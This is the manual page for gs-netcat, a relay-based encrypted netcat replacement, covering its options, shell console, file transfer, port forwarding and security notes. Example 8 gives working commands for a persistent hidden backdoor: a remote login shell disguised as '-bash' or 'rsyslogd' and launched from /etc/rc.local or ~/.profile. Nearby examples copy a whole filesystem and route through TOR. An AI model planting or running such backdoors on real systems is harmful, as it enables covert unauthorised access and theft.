Provided by: gsocket_1.4.40-1_amd64 
NAME
gs-netcat — transfer data, forward traffic and execute commands on a remote host. Securely.
SYNOPSIS
gs-netcat [-rlgvqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d IP] [-p port] [-e cmd]
DESCRIPTION
The gs-netcat utility is a re-implementation of netcat. It allows two or more users to
establish a secure TCP connection with each other in a scenario where all users are behind
NAT/Firewall and would not be able to connect to each other directly. Typically a connection
between one workstation and another workstation on a different Local Area Network.
It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither
workstation needs to open a port in their firewall or accept incoming TCP connections.
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime.
The GSRN sees only the encrypted traffic.
Common uses include:
• simple TCP proxies
• PTY shell
• File transfer
• a SOCKS ProxyCommand for ssh(1)
• and much, much more.
OPTIONS
-C Disable encryption and use clear-text instead. Use with caution.
-d ip Destination IPv4 address for port forwarding.
-D Daemon & Watchdog mode. Start gs-netcat as a background process and restart if
killed.
-e cmd Execute command and send output to the connected client. Needs -l.
-g Generate a secure random password and output it to standard output.
-i Interactive login shell. The server spawns a true PTY login shell. The client acts
as a true PTY client (with Ctrl-C etc working). The client can terminate the session
by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple
clients at the same time.
-k file
A file containing the password.
-l Server/Listening mode. The default mode is client.
-L file
Log file [default: standard out]
-p port
Port to listen on or to forward traffic to [1-65535].
-q Quiet mode. Do not output any warnings or errors.
-r Receive-only. Do not send any data. Terminate when no more data is available for
reading.
-s secret
A password chosen by the user. Both users need to use the same password to connect.
-S Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows
multiple gs-netcat clients to (securely) relay traffic via the server. Needs -l.
-T Use TOR. The gs-netcat tool will connect via TOR to the GSRN. This requires TOR to
be installed and running. The IP and PORT of the TOR server can be set using
environment variables.
-t Connect to the GSRN (only) and check if the peer is listening. Do not connect the
peer.
-u Use UDP instead of TCP for port forwarding. Needs -p.
-v Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose.
-w Client to wait for the listening server to become available.
CONSOLE
The interactive login shell ( -i ) has a command console. Pressing 'Ctrl-e c' (e for
EEEElite) opens the command console. The command console displays the following information:
• Latency (in milliseconds) to the remote host
• Warning when a user logs into the system or becomes active
• Data throughput
• File transfer logs
Type 'help' for a list of available commands.
FILETRANSFER
File transfer is available from the command console. Files are transferred with the
permission and modification timestamp unchanged. Partially transferred files are re-started
where the transfer was left off. The 'put' command is used for uploading:
put foobar.txt
put $HOME/foobar.txt
put /tmp/*.log
put $(find. -type f -name '*.c')
(The above example shows Shell Variable substitution and word expansion) It is possible to
limit the amount of path information that is sent as implied directories for each path you
specify. You can insert a dot and a slash into the source path, like this:
put /foo/./bar/baz.c
That would create /tmp/bar/baz.c on the remote machine. The 'get' command is used for
downloading:
get foobar.txt
get $(find /var/./ -name '*.log')
Transferring a directory automatically transfers all files and directories within that
directory (recursively):
get /var/log
get /
The first command transfers all directories and files in /var/log/*. The latter command
transfers the entire filesystem. Multiple get/put commands can be scheduled at the same
time.
EXAMPLES
Example 1 - Listen for a new connection using the password 'MySecret':
$ gs-netcat -s MySecret -l
Connect with client using the same password:
$ gs-netcat -s MySecret
Example 2 - spawn a PTY login shell when a client connects:
$ gs-netcat -s MySecret -l -i
Log in to server's interactive shell:
$ gs-netcat -s MySecret -i
Log in via TOR:
$ gs-netcat -s MySecret -i -T
Log in via a Socks5 Proxy:
$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=1080
$ gs-netcat -s MySecret -i -T
Example 3 - Execute a command when a client connects:
$ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'
Connect client to the server:
$ gs-netcat -s MySecret
Example 4 - Pipe data from client to server:
$ gs-netcat -s MySecret -l -r >warez.tar.gz
Client to read 'warez.tar.gz' and pipe it to the server.
$ gs-netcat -s MySecret <warez.tar.gz
Example 5 - Server to act as a SOCKS4/4a/5 server:
$ gs-netcat -s MySecret -l -S
Client to listen on TCP port 1080 and forward any new connection to the server's SOCKS
server:
$ gs-netcat -s MySecret -p 1080
Example 6 - TCP Port Forward all connections to 192.168.6.7:22. Server:
$ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
Client to listen on TCP port 2222 and forward any new connection to the the server. The
server then forwards the connection to 192.168.6.7:22.
$ gs-netcat -s MySecret -p 2222
$ ssh -p 2222 root@127.0.0.1
The same using 1 command:
$ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored
Example 7 - Creating an SFTP server using gs-netcat:
$ gs-netcat -s MySecret -l -e /usr/lib/sftp-server
The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks
sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and
access the SFTP server running on the server's side from the client via the GSRN
(encrypted).:
$ export GSOCKET_ARGS='-s MySecret'
$ sftp -D gs-netcat
Example 8 - Encrypted Reverse PTY shell hidden as '-bash' in the process list - also known
as 'backdoor':
$ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)
The following line in /etc/rc.local starts the backdoor after each system reboot:
GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash"
/bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
The following line in /etc/rc.local starts a port-forward to 127.0.0.1:22:
GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec -a rsyslogd
/usr/local/bin/gs-netcat"
The following line in the user's ~/.profile starts the backdoor (once) when the user logs
in. All in one line:
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash
exec -a -bash /usr/local/bin/gs-netcat)
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat
process. The process is hidden (as -bash) from the process list.
Client to connect to the backdoor:
$ gs-netcat -s MySecret -i
ENVIRONMENT
The following environment variables can be set to control the behavior of gs-netcat
GSOCKET_SOCKS_IP
Specify the IP address of the TOR server (or any other SOCKS server). Use together
with -T. Default is 127.0.0.1.
GSOCKET_SOCKS_PORT
The port number of the TOR server (or any other SOCKS server). Use together with -T.
Default is 9050.
GSOCKET_ARGS
A string containing additional command line parameters. First the normal command line
parameters are processed and then the command line parameters from GSOCKET_ARGS.
SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option
or GSOCKET_ARGS or enter the password when prompted:
$ gs-netcat -k <file>
$ export GSOCKET_ARGS="-s MySecret"
$ gs-netcat
1. The security is end-2-end. This means from User-2-User (and not just to the GSRN). The
GSRN relays only (encrypted) data to and from the users.
2. The session is 256 bit and ephemeral. It is freshly generated for every session and
generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256
and a 4096 Prime.
3. The password can be 'weak' without weakening the security of the session. A brute force
attack against a weak password requires a new TCP connection for every guess.
4. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid)
password by chance and connect. If in doubt use gs-netcat -g to generate a strong one.
Alice's and Bob's password should at least be strong enough so that Malice can not guess it
by chance while Alice is waiting for Bob to connect.
5. If Alice shares the same password with Bob and Charlie and either one of them connects
then Alice can not tell if it is Bob or Charlie who connected.
6. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for
a connection then Malice could start to listen for the connection instead. Bob (when opening
a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if
you worry about this. TL;DR: When sharing the same password with a group larger than 2 then
it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS
connection.
7. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even
if the password becomes known.
NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
SEE ALSO
gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)
BUGS
Efforts have been made to have gs-netcat "do the right thing" in all its various modes. If
you believe that it is doing the wrong thing under whatever circumstances, please notify me
(skyper@thc.org) and tell me how you think it should behave.